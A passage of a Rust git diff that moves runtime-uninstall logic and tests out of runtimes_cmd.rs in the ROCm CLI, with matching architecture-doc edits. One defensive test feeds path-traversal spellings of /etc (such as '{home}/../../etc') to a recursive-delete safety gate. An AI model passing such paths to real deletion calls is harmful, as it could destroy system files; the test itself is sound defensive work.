fs::remove_file(&marker_path).with_context(|| { - format!( - "failed to remove active runtime marker {}", - marker_path.display() - ) - })?; - } - } - - Ok(RuntimeUninstallResult { - runtime_id: manifest.runtime_id, - runtime_key: manifest.runtime_key, - registry_path, - removed_install_root, - read_only: manifest.read_only, - manifest_mismatch: matches!(install_root_decision, InstallRootDecision::ManifestMismatch), - was_active, - default_runtime_cleared: clears_default_runtime, - }) -} - -pub(crate) fn should_remove_runtime_install_root( - manifest: &therock::InstalledRuntimeManifest, -) -> Result { - if manifest.read_only || manifest.imported_from.is_some() { - return Ok(InstallRootDecision::ReadOnly); - } - if !local_runtime_manifest_matches(manifest)? { - return Ok(InstallRootDecision::ManifestMismatch); - } - ensure_runtime_install_root_is_safe_to_remove(&manifest.install_root)?; - Ok(InstallRootDecision::Remove) -} - -fn local_runtime_manifest_matches(manifest: &therock::InstalledRuntimeManifest) -> Result { - let local_path = manifest.install_root.join(".rocm-cli-runtime.json"); - if !local_path.is_file() { - return Ok(false); - } - let bytes = fs::read(&local_path) - .with_context(|| format!("failed to read {}", local_path.display()))?; - let local: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", local_path.display()))?; - Ok(local.runtime_key == manifest.runtime_key - && local.runtime_id == manifest.runtime_id - && paths_equivalent(&local.install_root, &manifest.install_root)) -} - -fn ensure_runtime_install_root_is_safe_to_remove(path: &Path) -> Result<()> { - if path.as_os_str().is_empty() || path.parent().is_none() || path.file_name().is_none() { - bail!( - "refusing to remove unsafe runtime folder {}", - path.display() - ); - } - // Belt and braces: a hand-edited or corrupted registry entry could point - // `install_root` at a protected system location while still carrying a - // matching in-tree `.rocm-cli-runtime.json`, slipping past - // `local_runtime_manifest_matches`. `prune` already refuses these before - // ever calling this function (see storage.rs); check it here too so the - // single source of truth for "may ROCm CLI delete this folder?" refuses - // it for every caller, including a direct `runtimes uninstall `. - if runtime_install_root_is_protected(path) { - bail!( - "refusing to remove runtime folder {} in a protected system location", - path.display() - ); - } - Ok(()) -} - -fn active_runtime_marker_matches(paths: &AppPaths, runtime_key: &str) -> Result { - let marker_path = active_runtime_marker_path(paths); - if !marker_path.is_file() { - return Ok(false); - } - let bytes = fs::read(&marker_path) - .with_context(|| format!("failed to read {}", marker_path.display()))?; - let marker: ActiveRuntimeMarker = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", marker_path.display()))?; - Ok(marker.runtime_key.eq_ignore_ascii_case(runtime_key)) -} - /// How the CLI names the toolchain state of a runtime. /// /// `rocm runtimes list` reports it per runtime and `rocm examine` reports it @@ -1182,10 +846,6 @@ pub(crate) const fn toolchain_state_text(includes_devel: bool) -> &'static str { } } -pub(crate) fn active_runtime_marker_path(paths: &AppPaths) -> PathBuf { - paths.data_dir.join("runtimes").join("active.json") -} - fn write_active_runtime_marker(paths: &AppPaths, marker: ActiveRuntimeMarker) -> Result<()> { let path = active_runtime_marker_path(paths); fs::create_dir_all( @@ -1212,6 +872,8 @@ fn write_active_runtime_marker(paths: &AppPaths, marker: ActiveRuntimeMarker) -> #[cfg(test)] pub(crate) mod tests { + use std::path::PathBuf; + use super::*; use crate::append_examine_runtime_state; use crate::engine_runtime_select::resolve_runtime_selector_to_exact_key; @@ -2783,533 +2445,4 @@ pub(crate) mod tests { let _ = fs::remove_dir_all(root); Ok(()) } - - #[test] - fn runtime_uninstall_unregisters_read_only_runtime_without_deleting_external_root() -> Result<()> - { - let (root, paths) = test_paths("runtime-uninstall-read-only"); - let manifest = write_test_pip_runtime( - &paths, - "external-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let exported_manifest = root.join("external-runtime.json"); - fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; - fs::remove_file(runtime_manifest_path(&paths, &manifest.runtime_key))?; - fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; - import_runtime_manifest(&paths, &exported_manifest, false)?; - let mut config = RocmCliConfig::default(); - - let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; - - assert_eq!(removed.runtime_key, manifest.runtime_key); - assert!(removed.read_only); - assert_eq!(removed.removed_install_root, None); - assert!(manifest.install_root.exists()); - assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_removes_rocm_cli_managed_custom_prefix_root() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-prefix"); - let mut manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let prefix_root = root.join("user-chosen-prefix"); - fs::rename(&manifest.install_root, &prefix_root)?; - manifest.install_root = prefix_root.clone(); - let python = prefix_root - .join(if cfg!(windows) { "Scripts" } else { "bin" }) - .join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - manifest.python_executable = Some(python.display().to_string()); - fs::write( - runtime_manifest_path(&paths, &manifest.runtime_key), - serde_json::to_vec_pretty(&manifest)?, - )?; - fs::write( - prefix_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&manifest)?, - )?; - let mut config = RocmCliConfig::default(); - - let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; - - assert_eq!( - removed.removed_install_root.as_deref(), - Some(prefix_root.as_path()) - ); - assert!(!prefix_root.exists()); - assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_leaves_folder_on_local_manifest_mismatch() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-manifest-mismatch"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; - let mut config = RocmCliConfig::default(); - - let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; - - assert!(removed.manifest_mismatch); - assert!(!removed.read_only); - assert_eq!(removed.removed_install_root, None); - assert!(manifest.install_root.exists()); - assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn ensure_runtime_install_root_rejects_protected_system_path() { - // `prune` (storage.rs) refuses a runtime whose folder sits in a - // protected system location before it ever calls - // `should_remove_runtime_install_root`. A hand-edited or corrupted - // registry entry could point a direct `runtimes uninstall ` - // manifest's `install_root` at the same kind of path while still - // carrying a matching in-tree `.rocm-cli-runtime.json`, slipping past - // `local_runtime_manifest_matches`. The single source of truth for - // "may ROCm CLI delete this folder?" must refuse it too, regardless - // of caller. - let protected = if cfg!(windows) { - PathBuf::from("C:/Windows/rocm-cli-test-runtime") - } else { - PathBuf::from("/etc/rocm-cli-test-runtime") - }; - - let err = ensure_runtime_install_root_is_safe_to_remove(&protected) - .expect_err("protected system path must be refused"); - assert!(err.to_string().contains("protected system location")); - } - - /// The gate above is the last thing between a registry entry and - /// `fs::remove_dir_all`, and the path it is handed is text somebody else - /// wrote. One folder has many spellings, so the refusal has to survive all - /// of them — a trailing separator, a doubled one, a `.`, or a `..` that - /// walks back out of the user's home directory. Each of these names `/etc`. - #[test] - #[cfg(unix)] - fn ensure_runtime_install_root_rejects_every_spelling_of_a_protected_path() { - let home = rocm_core::runtime_home_dir().expect("a home directory"); - let home = home.display().to_string(); - let spellings = [ - "/etc/".to_owned(), - "//etc".to_owned(), - "/./etc".to_owned(), - "/etc/.".to_owned(), - format!("{home}/../../etc"), - ]; - - let accepted: Vec = spellings - .into_iter() - .filter(|text| ensure_runtime_install_root_is_safe_to_remove(Path::new(text)).is_ok()) - .collect(); - - assert!( - accepted.is_empty(), - "accepted as safe to recursively delete: {accepted:?}" - ); - } - - #[test] - fn plan_runtime_uninstall_does_not_mutate() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-plan-dry-run"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - - assert!(plan.will_remove_install_root()); - assert!(manifest.install_root.exists()); - assert!(runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_install_root_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert!(plan.will_remove_install_root()); - - // Simulate another process relocating this runtime's install root - // while the uninstall confirmation prompt was waiting on the user. - let relocated_root = paths - .data_dir - .join("runtimes") - .join("wheel") - .join("relocated-install-root"); - fs::rename(&manifest.install_root, &relocated_root)?; - let mut relocated_manifest = manifest.clone(); - relocated_manifest.install_root = relocated_root.clone(); - fs::write( - relocated_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - fs::write( - runtime_manifest_path(&paths, &manifest.runtime_key), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose install_root moved since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_runtime_id_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-runtime-id"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert!(plan.will_remove_install_root()); - - // Simulate another process re-registering this runtime_key under a - // different runtime_id while the uninstall confirmation prompt was - // waiting on the user. Both the registry entry and the local marker - // are updated together so `install_root_decision` stays `Remove` and - // only `runtime_id` differs from the plan the user approved. - let mut relabeled_manifest = manifest.clone(); - relabeled_manifest.runtime_id = "therock-release:gfx120X-all-relabeled".to_owned(); - fs::write( - manifest.install_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&relabeled_manifest)?, - )?; - fs::write( - runtime_manifest_path(&paths, &manifest.runtime_key), - serde_json::to_vec_pretty(&relabeled_manifest)?, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose runtime_id changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_was_active_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-was-active"); - let target = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let other = write_test_pip_runtime( - &paths, - "release-pip-gfx110x-all-7-12-0", - "therock-release:gfx110X-all", - "7.12.0", - 10, - )?; - let mut config = RocmCliConfig { - active_runtime_key: Some(other.runtime_key), - ..RocmCliConfig::default() - }; - - let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; - assert!(!plan.was_active); - - // Simulate another process activating the target runtime while the - // uninstall confirmation prompt was waiting on the user. - config.active_runtime_key = Some(target.runtime_key); - config.save(&paths)?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose was_active changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_clears_default_runtime_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-clears-default"); - let shared_runtime_id = "therock-release:gfx120X-all"; - let target = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - shared_runtime_id, - "7.13.0", - 20, - )?; - let other = write_test_pip_runtime( - &paths, - "release-pip-gfx110x-all-7-12-0", - "therock-release:gfx110X-all", - "7.12.0", - 10, - )?; - let config = RocmCliConfig { - default_runtime_id: Some(shared_runtime_id.to_owned()), - active_runtime_key: Some(other.runtime_key), - ..RocmCliConfig::default() - }; - - let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; - assert!(!plan.was_active); - assert!( - plan.clears_default_runtime, - "target is the only install with the stale default runtime_id" - ); - - // Simulate another process installing a sibling that shares the - // target's runtime_id while the uninstall confirmation prompt was - // waiting on the user; the default would then survive on that - // sibling instead of being cleared. - write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-1", - shared_runtime_id, - "7.13.1", - 30, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose clears_default_runtime changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_install_root_decision_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root-decision"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert_eq!(plan.install_root_decision, InstallRootDecision::Remove); - - // Simulate another process overwriting the in-tree marker with one - // for a different install while the uninstall confirmation prompt - // was waiting on the user; the registry entry (and thus runtime_id - // and install_root) is left untouched, so only install_root_decision - // should differ from the plan the user approved. - let mut mismatched_marker = manifest.clone(); - mismatched_marker.runtime_key = "some-other-runtime-key".to_owned(); - fs::write( - manifest.install_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&mismatched_marker)?, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose install_root_decision changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn confirm_and_revalidate_runtime_uninstall_refuses_state_changed_during_confirmation() - -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-confirm-and-revalidate-wiring"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - config.save(&paths)?; - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert!(plan.will_remove_install_root()); - - // The injected "confirm" closure plays the role of the user - // approving the prompt; it relocates the install root before - // returning, simulating another process racing the confirmation - // exactly as `runtime_uninstall_revalidation_detects_install_root_change` - // does for the leaf function. This exercises the actual - // confirm -> reload-config -> revalidate wiring, not just the - // revalidation function in isolation: if the reload/revalidate - // calls were ever dropped from `confirm_and_revalidate_runtime_uninstall`, - // the call would silently succeed on the stale plan and this - // test's `result.is_err()` assertion below would fail, catching - // the regression. - let relocated_root = paths - .data_dir - .join("runtimes") - .join("wheel") - .join("relocated-install-root"); - let install_root = manifest.install_root.clone(); - let runtime_key = manifest.runtime_key.clone(); - let paths_for_confirm = paths.clone(); - let result = confirm_and_revalidate_runtime_uninstall(&paths, plan, move || { - fs::rename(&install_root, &relocated_root)?; - let mut relocated_manifest = manifest.clone(); - relocated_manifest.install_root = relocated_root.clone(); - fs::write( - relocated_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - fs::write( - runtime_manifest_path(&paths_for_confirm, &runtime_key), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - Ok(true) - }); - - assert!( - result.is_err(), - "confirm_and_revalidate_runtime_uninstall must refuse to proceed when the runtime \ - state changed while the confirmation callback was running" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_clears_default_runtime_id_for_last_sibling_even_when_not_active() - -> Result<()> { - // `runtime_id` is shared across side-by-side installs of the same - // release, while `runtime_key` is unique per install and - // `config.default_runtime_id` tracks by the shared `runtime_id`, - // independently of `config.active_runtime_key`. A stale - // `default_runtime_id` left over from before a *different* runtime - // was activated must still be cleared once its last remaining - // sibling is uninstalled — even though that sibling is not, and - // never was, the active runtime (`was_active` is pinned to the - // unrelated active runtime and never falls back to the - // default-id-uniqueness check while that active runtime is still - // installed). - let (root, paths) = test_paths("runtime-uninstall-shared-default-id"); - let shared_runtime_id = "therock-release:gfx120X-all"; - let manifest_a = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0-a", - shared_runtime_id, - "7.13.0", - 20, - )?; - let manifest_b = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0-b", - shared_runtime_id, - "7.13.0", - 21, - )?; - let active_manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx1151-7-14-0", - "therock-release:gfx1151", - "7.14.0", - 22, - )?; - // `default_runtime_id` is stale, left over from before - // `active_manifest` was activated; `active_runtime_key` now points - // at a manifest with a completely different `runtime_id`. - let mut config = RocmCliConfig { - default_runtime_id: Some(shared_runtime_id.to_owned()), - active_runtime_key: Some(active_manifest.runtime_key.clone()), - ..RocmCliConfig::default() - }; - config.save(&paths)?; - - // Removing the first sibling leaves the other one behind, so the - // stale default (which still resolves to a real, remaining install) - // must not be cleared. - let plan_b = plan_runtime_uninstall(&paths, &config, &manifest_b.runtime_key)?; - assert!(!plan_b.was_active); - assert!(!plan_b.clears_default_runtime); - let removed_b = uninstall_runtime(&paths, &mut config, &manifest_b.runtime_key)?; - assert!(!removed_b.was_active); - assert!(!removed_b.default_runtime_cleared); - assert_eq!( - config.default_runtime_id.as_deref(), - Some(shared_runtime_id) - ); - - // Removing the last remaining sibling must clear the stale default - // even though this install was never the active one, and - // `active_runtime_key` still points at the unrelated, still-installed - // `active_manifest` throughout. - let plan_a = plan_runtime_uninstall(&paths, &config, &manifest_a.runtime_key)?; - assert!(!plan_a.was_active); - assert!(plan_a.clears_default_runtime); - let removed_a = uninstall_runtime(&paths, &mut config, &manifest_a.runtime_key)?; - assert!(!removed_a.was_active); - assert!(removed_a.default_runtime_cleared); - assert_eq!(config.default_runtime_id, None); - assert_eq!( - config.active_runtime_key.as_deref(), - Some(active_manifest.runtime_key.as_str()) - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } } diff --git a/docs/architecture.md b/docs/architecture.md index 5510d99c20..8f0eb878ae 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -65,9 +65,10 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): registering a runtime that `rocm install sdk` did not install. `import_runtime_manifest` records a manifest written elsewhere, `adopt_runtime_from_python_options` (with `AdoptRuntimeOptions`, `AdoptRuntimeRequest`, `infer_adopt_runtime_request` and `adopt_runtime_from_probe`) probes an existing Python environment and registers it, and `recover_setup_runtime_registration` registers the runtime `rocm setup` created, with `newest_installed_runtime_manifest` and `setup_runtime_paths` beside it. It depends on [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) (manifest paths, activation validation, `paths_equivalent`) and `therock.rs`, not on `runtimes_cmd.rs`, which calls into it and re-exports `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths`. `import_runtime_manifest`, `AdoptRuntimeOptions`, `adopt_runtime_from_python_options` (with the fields of `AdoptRuntimeOptions` and `AdoptRuntimeRequest`) and `adopt_runtime_from_probe` are `pub(crate)` for `runtimes()` and for the `runtimes_cmd.rs` tests that adopt or import a runtime and then list or activate it; the rest is private. Its tests cover the import and adopt rules that do not involve activation or listing. - [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install: the orchestration (`finish_sdk_install`, `settle_engine_install`, `finalize_successful_sdk_install`), the engine-dependency check, the runtime device check and the post-install verdict built on it, and `SdkInstallConsents`. The torch alignment and retention it runs live in the child module [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs). `SdkInstallConsents` is `pub(crate)` and read from `main.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `main.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. - [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs) — full domain extraction, a child of `runtime_install_finalize.rs` that depends on its parent's device check (`RuntimeDeviceCheck`, `device_check_verdict`) and on `runtime_manifest_for_selector` in [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): what to do about the torch an engine install finds in a managed runtime. `plan_torch_alignment` decides whether the SDK's torch must be realigned to the engine's pin, `align_runtime_torch` runs the realignment, `classify_retained_torch` decides when a torch that already works is kept as an intended divergence instead, and the `render_*` and `report_*` functions with `TorchAlignment` and `TorchRetention` print and log the outcome. The manifest readers (`sdk_torch_build_for_key`, `sdk_torch_build_from_manifest`, `runtime_python_for_key`, `runtime_library_paths_for_key`, `runtime_index_url_for_key`) live here too. The parent stays the caller (`settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`), so it could not be a crate-level sibling without a cycle with the parent's device check. The items the parent calls are `pub(super)`: `TorchAlignment`, `TorchRetention`, `report_torch_alignment`, `report_torch_retention`, `classify_retained_torch`, `retained_diverged_package`, `deliberately_diverged_package`, `sdk_torch_build_for_key`, `runtime_python_for_key` and `runtime_library_paths_for_key`; the rest is private. Its tests cover planning, rendering, the opt-out and the retention rules, and reach the parent's private engine-dependency check as a descendant of it. -- [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). It also holds `paths_equivalent` and `normalize_path_for_compare`, the path comparison that [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) and `runtimes_cmd.rs` both need. `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. +- [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). It also holds `paths_equivalent` and `normalize_path_for_compare`, the path comparison that [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs), [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs) and `runtimes_cmd.rs` need, and the on-disk active-runtime marker: `ActiveRuntimeMarker` (user state, so its serde shape is as fixed as the manifest's; its fields are `pub(crate)` because `runtimes_cmd.rs` builds it on activation and rollback), `active_runtime_marker_path` and `active_runtime_marker_matches`, which uninstall uses to decide whether the runtime it removes was the active one. `write_active_runtime_marker` stays in `runtimes_cmd.rs` with the activation transaction. `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. - [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) — full domain extraction; reads the live local servers at activation time, classifies each against the runtime being activated, renders the report, and moves stale ones with `--restart-services`. `fn runtimes()` lives in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) and `RuntimesCommand` in [`main.rs`](../apps/rocm/src/main.rs); this file owns `ServiceRuntimeState`/`RuntimeServiceEntry`/`FailedServiceRestart`/`UnconfirmedServiceRestart`/`ServiceRestartOutcome`/`RuntimeServiceReconciliation`/`ServiceRuntimePin`, reached from `runtimes_cmd.rs` via `crate::runtime_services`. -- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback/uninstall handlers, plus the runtime list rendering; the import and adopt handlers it dispatches to live in [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs); registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` and `ActiveRuntimeMarker` are `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary` and from [`storage.rs`](../apps/rocm/src/storage.rs) respectively; `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` and `setup_runtime_paths` (from `runtime_adopt.rs`) and `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported for the modules that import them from here, such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) and [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. +- [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): `rocm runtimes uninstall` and the storage pruning that removes a registered runtime. `plan_runtime_uninstall` builds the plan (`RuntimeUninstallPlan`, with the `InstallRootDecision` for its folder), `print_runtime_uninstall_plan` shows it, `confirm_and_revalidate_runtime_uninstall` asks and then checks that nothing changed while the prompt was open (`revalidate_runtime_uninstall_plan`), and `apply_runtime_uninstall` unregisters the runtime, clears the active and default state that named it and removes its install root when `should_remove_runtime_install_root` says ROCm CLI owns it (`local_runtime_manifest_matches`, `ensure_runtime_install_root_is_safe_to_remove`). `uninstall_runtime` is the non-interactive entry point. It reads the registry, the active-runtime marker and the path comparison from [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), and does not depend on `runtimes_cmd.rs`, which calls into it from `runtimes()` and re-exports `uninstall_runtime`, `should_remove_runtime_install_root` and `InstallRootDecision`. The planning and apply entry points, `RuntimeUninstallPlan`, `RuntimeUninstallConfirmation` and `RuntimeUninstallResult` (with its fields) are `pub(crate)` for `runtimes()`; `revalidate_runtime_uninstall_plan` and the folder-safety helpers are private. Its tests cover planning, revalidation, the folder-removal rules and uninstalling a read-only imported runtime; the uninstall tests that first activate a runtime stay with the activation tests in `runtimes_cmd.rs`. +- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback handlers (the activation transaction, including `write_active_runtime_marker`), plus the runtime list rendering; the import and adopt handlers it dispatches to live in [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) and the uninstall plan, confirmation and apply in 